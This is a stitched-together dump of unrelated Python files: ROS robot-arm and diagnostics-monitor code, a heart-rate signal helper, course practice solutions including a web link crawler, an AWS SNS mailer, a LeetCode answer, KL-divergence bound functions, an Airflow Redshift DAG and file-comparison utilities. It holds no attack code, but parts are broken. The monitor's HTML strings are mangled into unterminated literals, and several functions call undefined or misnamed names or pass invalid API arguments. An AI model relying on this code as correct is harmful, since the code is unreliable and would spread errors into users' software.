        # publish
        self.display_trajectory_publisher.publish(display_trajectory)

    def execute_plan(self, plan):
        # executing a plan
        self.move_group.execute(plan, wait=True)

    def wait_for_state_update(self, box_is_known=False, box_is_attached=False, timeout=4):
        # ensuring collision updates are received
        start = rospy.get_time()
        seconds = rospy.get_time()

        while (seconds - start < timeout) and not rospy.is_shutdown():
            # test if box is in atteched objects
            attached_objects = scene.get_attached_objects([box_name])
            is_attached = len(attached_objects.keys()) > 0

            # test if box is in the scene
            is_known = box_name in scene.get_known_object_names()

            # test if state is as expected
            if (box_is_attached == is_attached) and (box_is_known == is_known):
                return

            # sleep
            rospy.sleep(0.1)
            seconds = rospy.rospy.get_time()

        # in cas of timeout
        return False

    def star_waypoints(self, scale = 1):
        # array of star movement around random position
        waypoints = []

        # save current pose
        wpose = self.move_group.get_current_pose().pose
        waypoints.append(copy.deepcopy(wpose))

        for i in range(5):
            p = geometry_msgs.msg.Pose()
            p.orientation.w = 1.0
            p.position.x = scale*random()
            p.position.y = scale*random()
            p.position.z = scale*random()
            waypoints.append(copy.deepcopy(p))
            for j in range(10):
                pp = geometry_msgs.msg.Pose()
                pp.orientation.w = 1.0
                pp.position.x = 0.1*random() - p.position.x
                pp.position.y = 0.1*random() - p.position.y
                pp.position.z = 0.1*random() - p.position.z
                waypoints.append(copy.deepcopy(pp))
                waypoints.append(copy.deepcopy(p))

        waypoints.append(copy.deepcopy(wpose))

        return waypoints

    def line_waypoints(self):
        # line on xy yz and xz plan
        waypoints = []
        wpose = self.move_group.get_current_pose().pose
        waypoints.append(copy.deepcopy(wpose))

        p = geometry_msgs.msg.Pose()
        p.orientation.w = 1.0
        p.position.x = wpose.position.x - 2
        p.position.y = wpose.position.y
        p.position.z = wpose.position.z
        waypoints.append(copy.deepcopy(p))

        return waypoints


import matplotlib.pyplot as plt
import heartpy as hp
import numpy as np

from scipy.signal import resample

"""
Class: HeartRateHelper

Takes 1D data and returns appropriate data.

"""
class HeartRateHelper:
	def __init__(self, framerate, filter=True, resample=-1, show=False, save_path=''):
		self.show = show
		self.filter = filter
		self.framerate = framerate
		self.resample = resample

		# if save_path is empty, do not save
		self.save_path = save_path

		# saves the last calculated m, wd
		self.m = None
		self.wd = None

	def save_plot(self, data, x_label='', y_label=''):
		x = list(range(0, len(data)))
		plt.close('all')
		plt.figure(figsize=(32, 6))
		plt.plot(x, data, 'r-')
		plt.title(self.save_path)
		plt.xlabel(x_label)
		plt.ylabel(y_label)
		plt.savefig(self.save_path)
		plt.close()

	def get_heartrate_and_breathing(self, data):
		framerate = self.framerate
		if self.resample != -1:
			data = resample(data, (len(data)//self.framerate)*self.resample)
			framerate = self.resample

		if self.filter:
			data = hp.filter_signal(data, [0.7, 3.5], sample_rate=framerate,
							order=3, filtertype='bandpass')
			data = hp.scale_data(data)

		wd, m = hp.process(data, framerate, high_precision = True, clean_rr = True)

		self.m = m
		self.wd = wd
		hr = m["bpm"]
		rr = m["breathingrate"]

		if self.show:
			hp.plotter(wd, m)

		if self.save_path != '':
			save_plot(data, x_label="Time", y_label="BVP Signal")

		return hr, rr * 60


'''
Python CSC242
Final Practice Solutions
'''

#Problem 1:
'''
>>> obj = Mortgage().mainloop()
or
>>> Mortgage().mainloop()
'''

from tkinter import Frame, Entry, Button, Label, END, Tk

class Mortgage(Frame):

    def __init__(self, parent=None):
        Frame.__init__(self, parent)
        self.pack()

        Label(self, text='Loan Amount:').grid(row=0, column=0)
        Label(self, text='Interest Rate:').grid(row=1, column=0)
        Label(self, text='Loan Terms:').grid(row=2, column=0)

        self.amount = Entry(self)
        self.amount.grid(row=0, column=1)

        self.rate = Entry(self)
        self.rate.grid(row=1, column=1)

        self.terms = Entry(self)
        self.terms.grid(row=2, column=1)

        Button(self, text='Compute Mortgage', command=self.compute).grid(row=3 ,
                                                                    column=0)
        self.mortgage = Entry(self)
        self.mortgage.grid(row=3, column=1)

    def compute(self):
        _amount = float(self.amount.get())
        _rate = float(self.rate.get())/1200
        _terms = float(self.terms.get())

        _monthly = _amount *(_rate *(1+ _rate)** _terms)/((1+ _rate)** _terms -1)

        self.mortgage.delete(0,END)
        self.mortgage.insert(0, _monthly)

#Problem 2:
'''
another method to solve this
return lst[0]*prod(lst[1:])
'''

def prod(lst):

    if(len(lst) == 0):
        return 1

    lastItem = lst.pop()
    return lastItem * prod(lst)

#Problem 3:

from re import findall

def test(str_filename):

    ifile = open(str_filename)
    content = ifile.read()
    ifile.close()

    print("Exercise i: the number of times the string Frankenstein appears in the text:")
    print(len(findall('Frankenstein', content)), '\n')

    print("Exercise ii: the list of all different numbers appearing in the text")
    print(list(set(findall('\d+', content))), '\n') #expression for digits

    print("Exercise iii: the list of strings of the form 'horror of <lowercase string> <lowercase string>'")
    print(findall('horror\sof\s\w+\s\w+', content), '\n')

    print("Exercise iv: the sentences containing the word 'laboratory'")
    lst = findall('[\.\!\?][a-zA-Z\s\,\;\:\-]+laboratory[a-zA-Z\s\,\;\:\-]*[\.\!\?]', content)
    for item in lst:
        print(item[2:], '\n') #skip first 2

#Problem 4:
'''
>>> obj = Collector('http://www.impawards.com/intl/india/')
>>> content = urlopen(obj.url).read().decode().lower()
>>> obj.feed(content)

>>> obj.getLinks()
['http://www.impawards.com', 'http://www.impawards.com', ..]
'''

from html.parser import HTMLParser
from urllib.request import urlopen
from urllib.request import urljoin

class Collector(HTMLParser):
    'collects hyperlink URLs into a list'

    def __init__(self, url):
        HTMLParser.__init__(self)
        self.url = url
        self.arrLinks = []

    def handle_starttag(self, tag, attrs):
        'collects hyperlinks in absolute format'

        if(tag == 'a'):
            for item in attrs:
                if(item[0] == 'href'):
                    absLink = urljoin(self.url, item[1])

                    if(absLink[:4] == 'http'):
                        self.arrLinks.append(absLink)

    def getLinks(self):
        return self.arrLinks
'''
>>> d = {}
>>> search('http://www.impawards.com/intl/india/', d, 1)
>>> for key in d:
	print(key, d[key])

'''
def search(str_url, dict_name, int_num):
    'crawler - computes number of occurences of hyperlinks'

    content = urlopen(str_url).read().decode()
    obj_col = Collector(str_url)
    obj_col.feed(content)

    arrLinks = obj_col.getLinks()

    for item in arrLinks:
        if(item in dict_name):
            dict_name[item] += 1
        else:
            dict_name[item] = 1

    if(int_num > 0):
        for item in arrLinks:
            search(item, dict_name, int_num -1)

#Additional Problems - R E C U R S I O N S

#Program 1: Return copy of list in which every element has duplicate
#Run Module for Program to execute.
#Type Duplicate(<list>) - Name of Method in Shell to execute.
'''
>>> Duplicate([3,6,2])
[3, 3, 6, 6, 2, 2]
'''

def Duplicate(obj_list):

    if(len(obj_list) == 0):
        return obj_list

    lastItem = obj_list.pop()

    return Duplicate(obj_list) + [lastItem, lastItem]

#Program 2: Return the number of times 0 occurs in list
#Run Module for Program to execute.
#Type Zeros(<list>) - Name of Method in Shell to execute.
'''
>>> Zeros([0,2,3,45,4,5,5,0,0,0,5,4,41,4,8,6,4,0])
5
'''

def Zeros(num_list):

    if(len(num_list) == 0):
        return 0

    lastItem = num_list.pop()

    if(lastItem == 0):
        return Zeros(num_list) +1
    else:
        return Zeros(num_list)

#Program 3: Return number of items that matches in both list
#Run Module for Program to execute.
#Type Equals(<list>, <list>) - Name of Method in Shell to execute.
'''
>>> Equals([3,4,5],[3,8,9])
1
>>> Equals([3,4,5],[8,0,9])
0
'''

def Equals(listA, listB):

    if(len(listA) == 0):
        return 0

    lastItemA = listA.pop()
    lastItemB = listB.pop()

    if(lastItemA == lastItemB):
        return Equals(listA, listB) +1
    else:
        return Equals(listA, listB)

CSC242. Python II/CSC242. Practice Exams/Final Practice/Py-Final-Practice  - Solutions.py


import boto3

def create_sns_subscription(email):

    sns = boto3.client('sns')
    response = sns.subscribe(
        TopicArn='arn:aws:sns:us-east-1:89898989898:task-memo-topic',
        Protocol='email',
        Endpoint=email
    )
    return response

def send_email(email, subject, body):

    sns = boto3.client('sns')
    response = sns.publish(
        TopicArn='arn:aws:sns:us-east-1:89898989898:task-memo-topic',
        Message=body,
        Subject=subject,
        Protocol='email',
        Endpoint=email
    )
    return response


from __future__ import with_statement

PKG = 'runtime_monitor'

import roslib
roslib.load_manifest(PKG)

import sys
import rospy

from diagnostic_msgs.msg import DiagnosticArray, DiagnosticStatus, KeyValue

import wx
from wx import xrc
from wx import html

import threading, time
import cStringIO
import copy

class TreeItem(object):
  ##\param status DiagnosticsStatus : Diagnostic data of item
  ##\param tree_id wxTreeItemId : Tree ID of item in display
  ##\param stamp ros::Time : Stamp when message was received
  def __init__(self, status, tree_id, stamp = None):
    self.status = status
    self.mark = False
    self.stale = False
    self.tree_id = tree_id
    self.stamp = stamp

class MonitorPanel(wx.Panel):
  def __init__(self, parent, topic="/diagnostics", rxbag=False):
    wx.Panel.__init__(self, parent, wx.ID_ANY)

    self._mutex = threading.Lock()

    xrc_path = roslib.packages.get_pkg_dir(PKG) + '/xrc/runtime_monitor_generated.xrc'

    self._xrc = xrc.XmlResource(xrc_path)
    self._real_panel = self._xrc.LoadPanel(self, 'RuntimeMonitorInnerPanel')
    sizer = wx.BoxSizer(wx.VERTICAL)
    sizer.Add(self._real_panel, 1, wx.EXPAND)
    self.SetSizer(sizer)

    self._tree_control = xrc.XRCCTRL(self._real_panel, "_tree_control")
    self._html_control = xrc.XRCCTRL(self._real_panel, "_html_control")

    image_list = wx.ImageList(16, 16)
    self._error_image_id = image_list.AddIcon(wx.ArtProvider.GetIcon(wx.ART_ERROR, wx.ART_OTHER, wx.Size(16, 16)))
    self._warning_image_id = image_list.AddIcon(wx.ArtProvider.GetIcon(wx.ART_WARNING, wx.ART_OTHER, wx.Size(16, 16)))
    self._ok_image_id = image_list.AddIcon(wx.ArtProvider.GetIcon(wx.ART_TICK_MARK, wx.ART_OTHER, wx.Size(16, 16)))
    self._tree_control.AssignImageList(image_list)
    self._root_id = self._tree_control.AddRoot("Root")
    self._stale_id = self._tree_control.AppendItem(self._root_id, "Stale (0)", self._error_image_id)
    self._errors_id = self._tree_control.AppendItem(self._root_id, "Errors (0)", self._error_image_id)
    self._warnings_id = self._tree_control.AppendItem(self._root_id, "Warnings (0)", self._warning_image_id)
    self._ok_id = self._tree_control.AppendItem(self._root_id, "Ok (0)", self._ok_image_id)

    if rxbag:
      wx.CallAfter(self._set_splitter_position)

    self._tree_control.Bind(wx.EVT_TREE_SEL_CHANGED, self._on_item_selected)
    self._tree_control.Bind(wx.EVT_TREE_KEY_DOWN, self._on_item_key_down)

    self._name_to_item = {}

    self._new_errors_callback = None

    if not rxbag:
      self._subscriber = rospy.Subscriber(topic, DiagnosticArray, self._diagnostics_callback)
      self._timer = wx.Timer(self)
      self.Bind(wx.EVT_TIMER, self._on_timer)
      self._timer.Start(5000)
    else:
      self._subscriber = None

    self._messages = []
    self._used_items = 0

  def _set_splitter_position(self):
    self._splitter_control = xrc.XRCCTRL(self._real_panel, "m_splitter1")
    self._splitter_control.SetSashPosition(350)

  def __del__(self):
    if self._subscriber is not None:
      self._subscriber.unregister()

  def shutdown(self):
    """
    Unregisters diagnostics subscriber for clean shutdown
    """
    if rospy.is_shutdown():
      return

    if self._subscriber is not None:
      self._subscriber.unregister()
      self._subscriber = None

  def change_diagnostic_topic(self, topic):
    """
    Changes diagnostics topic name. Must be of type diagnostic_msgs/DiagnosticArray
    """
    if len(topic) == 0:
      self.reset_monitor()
      return

    if self._subscriber is not None:
      self._subscriber.unregister()
      self._subscriber = rospy.Subscriber(str(topic), DiagnosticArray, self._diagnostics_callback)
    self.reset_monitor()

  def reset_monitor(self):
    """
    Removes all values from monitor display, resets buffers
    """
    self._name_to_item = {} # Reset all stale topics
    self._messages = []
    self._clear_tree()

  def _clear_tree(self):
    self._tree_control.DeleteChildren(self._stale_id)
    self._tree_control.DeleteChildren(self._errors_id)
    self._tree_control.DeleteChildren(self._warnings_id)
    self._tree_control.DeleteChildren(self._ok_id)
    self._update_root_labels()

  def add_rxbag_msg(self, msg, stamp):
    """
    Add message from rxbag player
    """
    self._messages.append(msg)

    wx.CallAfter(self.new_message, stamp)

    # Clear stale messages
    wx.CallAfter(self._clear_old_rxbag_msgs, stamp)

  def _delete_item(self, item):
    self._tree_control.Delete(item.tree_id)
    del self._name_to_item[item.status.name]

  def _clear_old_rxbag_msgs(self, now_stamp):
    to_delete = []
    for name, item in self._name_to_item.iteritems():
      if (item != None):
        # No future messages
        if item.stamp > now_stamp:
          to_delete.append(item)
          continue

        if (now_stamp - item.stamp).to_sec() > 15.0:
          to_delete.append(item)
          continue

    for item in to_delete:
      self._delete_item(item)

    self._update_root_labels()

  def _diagnostics_callback(self, message):
    with self._mutex:
      self._messages.append(message)

    wx.CallAfter(self.new_message, rospy.get_rostime())

  def new_message(self, stamp = None):
    with self._mutex:
      had_errors = False

      for message in self._messages:
        for status in message.status:
          was_selected = False
          had_item = False
          if (self._name_to_item.has_key(status.name)):
            item = self._name_to_item[status.name]
            had_item = True
            if (self._tree_control.GetSelection() == item.tree_id):
              was_selected = True
            if (item.status.level == 2 and status.level != 2):
              had_errors = True

            self._update_item(item, status, was_selected, stamp)
          else:
            self._create_item(status, was_selected, True, stamp)
            if (status.level == 2):
              had_errors = True

      self._messages = []

    if (had_errors and self._new_errors_callback != None):
      self._new_errors_callback()

    self.Refresh()

  def _update_item(self, item, status, was_selected, stamp):
    change_parent = False
    if (item.status.level != status.level):
      change_parent = True

    if (change_parent):
      self._tree_control.Delete(item.tree_id)

      if (status.level == 0):
        parent_id = self._ok_id
      elif (status.level == 1):
        parent_id = self._warnings_id
      elif (status.level == -1):
        parent_id = self._stale_id
      else:
        parent_id = self._errors_id

      id = self._tree_control.AppendItem(parent_id, status.name + ": " + status.message)
      item.tree_id = id
      item.stamp = stamp
      self._tree_control.SetPyData(id, item)

      if (status.level > 1 or status.level == -1):
        self._tree_control.Expand(parent_id)

      self._tree_control.SortChildren(parent_id)

      if (was_selected):
        self._tree_control.SelectItem(item.tree_id)

    else:
      self._tree_control.SetItemText(item.tree_id, status.name + ": " + status.message)

    item.status = status

    if (was_selected):
      self._fillout_info(item.tree_id)

    item.mark = True

  def _create_item(self, status, select, expand_if_error, stamp):
    if (status.level == 0):
      parent_id = self._ok_id
    elif (status.level == 1):
      parent_id = self._warnings_id
    elif (status.level == -1):
      parent_id = self._stale_id
    else:
      parent_id = self._errors_id

    id = self._tree_control.AppendItem(parent_id, status.name + ": " + status.message)
    item = TreeItem(status, id, stamp)
    self._tree_control.SetPyData(id, item)

    self._name_to_item[status.name] = item

    self._tree_control.SortChildren(parent_id)

    if (select):
      self._tree_control.SelectItem(id)

    if (expand_if_error and (status.level > 1 or status.level == -1)):
      self._tree_control.Expand(parent_id)

    self._update_root_labels()

    item.mark = True

    return item

  def _fillout_info(self, id):
    item = self._tree_control.GetPyData(id)
    if (item == None):
      return

    status = item.status

    self._html_control.Freeze()
    s = cStringIO.StringIO()

    s.write("")
    s.write("Component: %s
\n" % (status.name))
    s.write("Message: %s
\n" % (status.message))
    s.write("Hardware ID: %s

\n\n" % (status.hardware_id))

    s.write('
')
    for value in status.values:
      value.value = value.value.replace("\n", "
")
      s.write("
%s	 %s
\n" % (value.key, value.value))

    s.write("
")

    (x, y) = self._html_control.GetViewStart()
    self._html_control.SetPage(s.getvalue())
    self._html_control.Scroll(x, y)

    self._html_control.Thaw()

  def _on_item_selected(self, event):
    self._fillout_info(event.GetItem())

  def _on_item_key_down(self, event):
    id = self._tree_control.GetSelection()
    if (id == None):
      event.Skip()
      return

    key = event.GetKeyCode()

    if (key == wx.WXK_DELETE):
      item = self._tree_control.GetPyData(id)
      if (item != None):
          self._tree_control.Delete(id)
          del self._name_to_item[item.status.name]
    else:
      event.Skip()

    self._update_root_labels()
    self.Refresh()

  def _on_timer(self, event):
    for name, item in self._name_to_item.iteritems():
      id = item.tree_id
      if (item != None):
        if (not item.mark):
          was_selected = False
          if (self._tree_control.GetSelection() == id):
            was_selected = True

          new_status = copy.deepcopy(item.status)
          new_status.level = -1
          self._update_item(item, new_status, was_selected, item.stamp)

        item.mark = False

    self._update_root_labels()
    self.Refresh()

  def set_new_errors_callback(self, callback):
    self._new_errors_callback = callback

  def get_num_errors(self):
    return self._tree_control.GetChildrenCount(self._errors_id, False) + self._tree_control.GetChildrenCount(self._stale_id, False)

  def get_num_warnings(self):
    return self._tree_control.GetChildrenCount(self._warnings_id, False)

  def get_num_ok(self):
    return self._tree_control.GetChildrenCount(self._ok_id, False)

  def _update_root_labels(self):
    self._tree_control.SetItemText(self._ok_id, "Ok (%s)" % (self._tree_control.GetChildrenCount(self._ok_id, False)))
    self._tree_control.SetItemText(self._warnings_id, "Warnings (%s)" % (self._tree_control.GetChildrenCount(self._warnings_id, False)))
    self._tree_control.SetItemText(self._errors_id, "Errors (%s)" % (self._tree_control.GetChildrenCount(self._errors_id, False)))
    self._tree_control.SetItemText(self._stale_id, "Stale (%s)" % (self._tree_control.GetChildrenCount(self._stale_id, False)))


class Solution:
    # @param {integer[]} nums
    # @param {integer} k
    # @return {boolean}

    def containsNearbyDuplicate(self, nums, k):
        pos = {}
        for i, n in enumerate(nums):
            if n in pos and i-pos[n] <= k:
                return True
            pos[n] = i
        return False


from source.checker import checker
from scipy import sqrt

from warnings import warn

## linearized bounds
def lbound(vp,klval):
    """
    linearized bound that approximates the GO divergence when
    the value of the KL divergence is small.

    Arguments::
    klval: the value of the KL divergence
    vp: the corresponding variance of the P distribution
    """

    if klval > 1.0:
        warn("KL value is too large, KL={}.".format(klval))
        warn("The approximation may not be accurate.")

    return sqrt(2*vp*klval)

def lbound_approx(vq, klval):
    """
    An approximation to the linearized bound
    of P by using information from the Q measure.

    Arguments::
    klval: the value of the KL divergence
    vq : the variance of Q
    """
    return sqrt(vq*klval*2)+1/(2*sqrt(vq))*(sqrt(vq+klval*vq*2)*sqrt(2*klval))

## Variants that depend on bounds of the random variable or
## assumptions on the tail behavior (sub-gaussianity).

def BerKontorovich(klval,a,b,mu):
    """
    Berend-Kontorovich exponential bound.

    This is a sharpened sub-gaussian that improves
    on Hoeffding by swapping out the 1/8 part for an
    improved constant.

    Arguments::
    klval: value of KL
    a,b: bounds of the un-centralized random variable
    mu: mean value of the un-centralized random variable

    Example::
    >>> BerKontorovich(0.,-1,1,0)
    (-0.0, 0.0)
    """

    if a>b:
        raise ValueError("a>b")

    d = b-a
    p = (mu-a)/d

    # compute Berend-Kontorovich constant
    if p==0:
        cbk=0
    elif p<0.5:
        cbk = (1-2.0*p)/(4.0*log((1-p)/p))
    else:
        cbk = p*(1-p)/2.0

    upper = 2*sqrt(cbk)*d*sqrt(klval)
    lower = 0 # this bound only works for c>0
    checker(lower, upper)
    return lower, upper

### Hoeffding

def hExp(klval, a,b, opt_tol=1e-5):
    '''Hoeffding exponential bound

    Arguments::
    klval: value of KL
    a,b : upper and lower bound for the X random variable.

    Example ::
    >>> hExp(0, -1,1)
    (-0.0, 0.0)
    >>> hExp(1,0,0)
    (-0.0, 0.0)
    '''

    if a>b:
        raise ValueError("a and b are the bounds of a centralized random variable.")

    # This bound has an explicit solution
    upper = sqrt(2)/2.0*(b-a)*sqrt(klval)
    lower = -upper

    checker(lower,upper)

    return lower, upper

def hExpVar(klval, variance_proxy):
    '''Hoeffding exponential bound with variance proxy.
    This is to be used with bounded random variables.

    Arguments::
    klval: value of KL
    variance_proxy: Either the true variance or an upper bound.

    Example ::
    >>> hExpVar(0,1)
    (-0.0, 0.0)
    >>> hExpVar(0,2)
    (-0.0, 0.0)
    '''

    if variance_proxy<0:
        raise ValueError("variance proxy has to be non-negative.")

    # This bound has an explicit solution
    upper = sqrt(2)*sqrt(variance_proxy*klval)
    lower = -upper

    checker(lower,upper)

    return lower, upper


from datetime import datetime, timedelta
from airflow import DAG
from airflow.operators.dummy_operator import DummyOperator
from operators.sas_to_redshift import SASfileToRedshiftOperator
from operators.copy_to_redshift import S3ToRedshiftOperator
from operators.load_fact import LoadFactOperator
from operators.clean_tables import CleanTablesOperator
from operators.data_quality import DataQualityOperator
from helpers.tables import Tables
from helpers.sql_queries import SqlQueries
from airflow.models import Variable

# Config
s3_bucket_name = Variable.get("s3_bucket")
aws_iam_arn = Variable.get("aws_iam_arn")

default_args = {
    'owner': 'hg',
    'start_date': datetime(2022, 2, 28),
    'depends_on_past': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=5),
    'catchup': False,
    'email_on_retry': False,
}

dag = DAG('elt_dag',
          default_args=default_args,
          description='Load and transform data in Redshift with Airflow',
          schedule_interval='@monthly',
          )

start_operator = DummyOperator(task_id='Begin_execution',  dag=dag)
end_operator = DummyOperator(task_id='End_execution',  dag=dag)

# Copy tables from SAS file
for table in Tables.sas_tables:
    load_sas_table = SASfileToRedshiftOperator(
        task_id='loading_table_{}_from_sas_file'.format(
            table.get('table_name')),
        dag=dag,
        aws_credentials_id="aws_credentials",
        redshift_conn_id="redshift",
        s3_bucket=s3_bucket_name,
        s3_key="I94_SAS_Labels_Descriptions.SAS",
        aws_region="us-east-1",
        parse_value=table.get('parse_string'),
        end_string=table.get('end_string'),
        table_name=table.get('table_name'),
        table_columns=table.get('table_columns'),
    )

    # Perform quality checks
    run_quality_checks = DataQualityOperator(
        task_id='Run_data_quality_checks_on_{}'.format(
            table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        table_name=table.get('table_name'),
        dq_test_list=table.get('dq_checks')
    )

    start_operator >> load_sas_table >> run_quality_checks >> end_operator

# Copy tables from csv and parquet
for table in Tables.csv_parq_tables:
    load_from_csv_parq = S3ToRedshiftOperator(
        task_id='loading_table_{}'.format(table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        aws_iam_arn=aws_iam_arn,
        aws_region="us-east-1",
        table_name=table.get('table_name'),
        file_type=table.get('file_type'),
        s3_bucket=s3_bucket_name,
        s3_key=table.get('key'),
        extra_params=table.get('extra_params')
    )

    # Perform quality checks
    run_quality_checks = DataQualityOperator(
        task_id='Run_data_quality_checks_on_{}'.format(
            table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        table_name=table.get('table_name'),
        dq_test_list=table.get('dq_checks')

    )
    start_operator >> load_from_csv_parq >> run_quality_checks >> end_operator

# Copy tables staging table airport code, world temp, us city demo
for table in Tables.csv_stg_tables:
    load_clean_from_csv_parq = S3ToRedshiftOperator(
        task_id='loading_table_{}'.format(table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        aws_iam_arn=aws_iam_arn,
        aws_region="us-east-1",
        table_name=table.get('table_name'),
        file_type=table.get('file_type'),
        s3_bucket=s3_bucket_name,
        s3_key=table.get('key'),
        extra_params=table.get('extra_params')
    )

#     # Clean data
    clean_stg_table = CleanTablesOperator(
        task_id='clean_table_{}'.format(table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        table=table.get('table_name'),
        sql_stmt=SqlQueries.clean_sql.get(table.get('table_name'))
    )

    # Perform quality checks
    run_quality_checks = DataQualityOperator(
        task_id='Run_data_quality_checks_on_{}'.format(
            table.get('table_name')),
        dag=dag,
        redshift_conn_id="redshift",
        table_name=table.get('table_name'),
        dq_test_list=table.get('dq_checks')
    )

    start_operator >> load_clean_from_csv_parq >> clean_stg_table
    clean_stg_table >> run_quality_checks >> end_operator

load_immigration_stg_table = S3ToRedshiftOperator(
    task_id='loading_table_{}'.format(
        Tables.parq_immigration.get('table_name')),
    dag=dag,
    redshift_conn_id="redshift",
    aws_iam_arn=aws_iam_arn,
    aws_region="us-east-1",
    table_name=Tables.parq_immigration.get('table_name'),
    file_type=Tables.parq_immigration.get('file_type'),
    s3_bucket=s3_bucket_name,
    s3_key=Tables.parq_immigration.get('key'),
    extra_params=Tables.parq_immigration.get('extra_params')
)

# clean data and load immigration fact table from immigration staging table
load_clean_immigration_table = LoadFactOperator(
    task_id='load_public.immigration_fact_table',
    dag=dag,
    redshift_conn_id="redshift",
    table_name="public.immigration",
    sql_stmt=SqlQueries.clean_load_immigration
)

run_quality_checks = DataQualityOperator(
    task_id='Run_data_quality_checks_on_{}'.format(
        Tables.parq_immigration.get('table_name')),
    dag=dag,
    redshift_conn_id="redshift",
    table_name=Tables.parq_immigration.get('table_name'),
    dq_test_list=Tables.parq_immigration.get('dq_checks')
)

start_operator >> load_immigration_stg_table >> load_clean_immigration_table
load_clean_immigration_table >> run_quality_checks >> end_operator


'''
Created on 20 Nov 2010

@author: jdrumgoole
'''
import os
import stat
import logging
from itertools import izip

from enum import Enum

from filetools.checksum import Checksum

from basetools.feedback import SimpleFeedback

def normalisePath( p ):
    return os.path.normpath( os.path.normcase( p ))

def splitPath( p ):

    pathElements = []
    ( tail, head ) = os.path.split( normalisePath( p ))

    while len( head) > 0 :
        pathElements.append( head )
        ( tail, head ) = os.path.split( tail )

    pathElements.reverse()

    return pathElements

class DirUtils( object ):

    def __init__( self, d ):
        '''
        Make a DirUtil object that provides utility functions over a single directory
        d = directory name (a string)
        '''

        self._d = d
        self._files = os.listdir( self._d )
        self._current = 0

    def __iter__(self):
        return self

    def refresh(self):
        self._files = os.listdir( self._d )

    def next(self):
        if self._current == len( self._files ) :
            self._current = 0
            raise StopIteration
        else:
            rv = self._files[ self._current ]
            self._current += 1
            return rv

    def dirname(self):
        '''
        return the dirname
        '''
        return self._d

    def __len__(self):
        '''
        Size of a directory in terms of no of files
        '''
        return len( self._files )

    def fileList(self, sortedList = False):
        '''
        Return a list of all the file (i.e. no dir) objects in a directory
        Don't sort return value unless sorted is true.
        '''
        result = []
        for i in self.listAll( sortedList = sortedList ):
            if os.path.isfile( i ):
                result.append( i )

        return result

    def dirList(self, sortedList = False):
        result = []
        for i in self.listAll( sortedList = sortedList ):
            if os.path.isdir( i ):
                result.append( i )

        return result

    def size(self):
        s=0
        for f in self.fileList() :
            s = s + os.path.getsize( f )

        return s

    def fileCount(self):
        return len( self.fileList())

    def dirCount(self):
        return len( self.dirList())

    def listAll(self, fullPath=True, sortedList = False ):
        result = []
        for i in os.listdir( self._d) :
            if fullPath :
                path = os.path.abspath( os.path.join( self._d, i ))
            else:
                path = i
            result.append( path )

        if sortedList :
            result.sort()

        return result

class FileCompare( object ):

    def __init__(self, f1, f2 ):
        self._f1 = normalisePath( f1 )
        self._f2 = normalisePath( f2 )

    def pathCompare( self ):
        return self._f1 == self._f2

    def reverseCompare(self):
        p1 = splitPath( self._f1 )
        p2 = splitPath( self._f2 )

        p1.reverse()
        p2.reverse()

        matchCount = 0
        for i, j in izip( p1, p2 ):
            if i == j :
                matchCount = matchCount + 1
            else:
                break

        p1.reverse() # put list back in order for return
        if matchCount > 0 :
            return p1[-matchCount:]
        else:
            return []

    def forwardCompare(self):
        '''
        Compare two target files from root down. Return number of path
        elements that are identical.
        '''

        p1 = splitPath( self._f1 )
        p2 = splitPath( self._f2 )

        matchCount = 0
        for i, j in izip( p1, p2 ):
            if i == j :
                matchCount = matchCount + 1
            else:
                break

        if matchCount > 0 :
            return p1[:matchCount]
        else:
            return []

    def sizeCompare(self):

        return os.path.getsize( self._f1 ) == os.path.getsize( self._f2 )

    def checksumCompare(self):
        return Checksum().blockComputeFile( self._f1 ) == Checksum().blockComputeFile(self._f2 )

    def binCompare(self):
        if self.pathCompare() : # identical files
            return True
        elif self.sizeCompare() and self.checksumCompare():
            return True
        else:
            return False

class DiffSet:

    def __init__(self, rhs, lhs):
        self._smallest = min( rhs, lhs )
        self._lhsSet = frozenset( lhs )
        self._rhsSet = frozenset( rhs )
        self._isEqual = ( self._lhsSet == self._rhsSet )
        self._lhsDiff = self._lhsSet.difference( self._rhsSet )
        self._rhsDiff = self._rhsSet.difference( self._lhsSet )

    def lhsDiff(self):
        return self._lhsDiff

    def rhsDiff(self):
        return self._rhsDiff

    def __len__(self):
        return len( self._lhsSet ) + len( self._rhsSet )

class DirCompare( object ) :
    '''
    Compare to directorys. Dirs are parsed during object creation
    '''

    def __init__(self, d1, d2 ) :

        self._d1 = DirUtils( d1 )
        self._d2 = DirUtils( d2 )
        self._d1List = self._d1.listAll(fullPath=False)
        self._d2List = self._d2.listAll(fullPath=False)
        self._d1List.sort()
        self._d2List.sort()

    def lengthCompare(self):
        return len( self._d1 ) == len( self._d2 )

    def filesCompare(self):
        pass

    def dirsCompare(self):
        pass

    def sizeCompare(self):

        return self._d1.size() == self._d2.size()

    def nameCompare(self):
        '''
        Compare two directories and return a list of files that match within the directory.
        For two identical directories the len(d1) = len(d2) = len( foundList) and
        sort( os.listDir( d1 ) = sort( os.listdir( d2)) = sort( foundList )
        '''

        ds = DiffSet( self._d1, self._d2 )

        return ds

class LogCmd :

    def __init__(self, logFilename, commentChar = "#" ):

        self._log = logging.getLogger( "LOGCMD" )
        self._log.setLevel( logging.INFO )
        self._LogFilename = logFilename
        self._commentChar = commentChar
        self._handler = logging.handlers.RotatingFileHandler(self._logFilename,
                                                             maxBytes =  10000,
                                                             backupCount = 3 )

        formatString = "%s %s : %s" % ("%(asctime)s", "%(name)s", "%(message)s",   )
        self._formatter = logging.Formatter( formatString )
        self._handler.setFormatter( self._formatter )
        self._log.addHandler( self._handler )

    def name(self):
        return self._logFilename

    def logCmd(self, s ):
        self._log.info( s )

    def logComment( self, c ):
        comment = "%s %s" % ( self._commentChar, c )
        self._log.info( comment )

class FileAttrs :

    DIR      ="dir"
    CHAR     ="char"
    FIFO     ="fifo"
    REGULAR  ="regular"
    BLOCK    = "block"
    LINK     = "link"
    SOCKET   = "socket"

    fileType = ( DIR, CHAR, FIFO, REGULAR, BLOCK, LINK, SOCKET )

    def __init__( self, name=None, size=0, computeChecksum=True ) :

        self._fileType = Enum( "dir",
                               "char",
                               "fifo",
                               "regular",
                               "block",
                               "link",
                               "socket" )

        self._name = name
        self._size = size
        self._creationDate = None
        self._modificationDate = None
        self._accessDate = None
        self._checksum = None
        self._type = None

        if name :
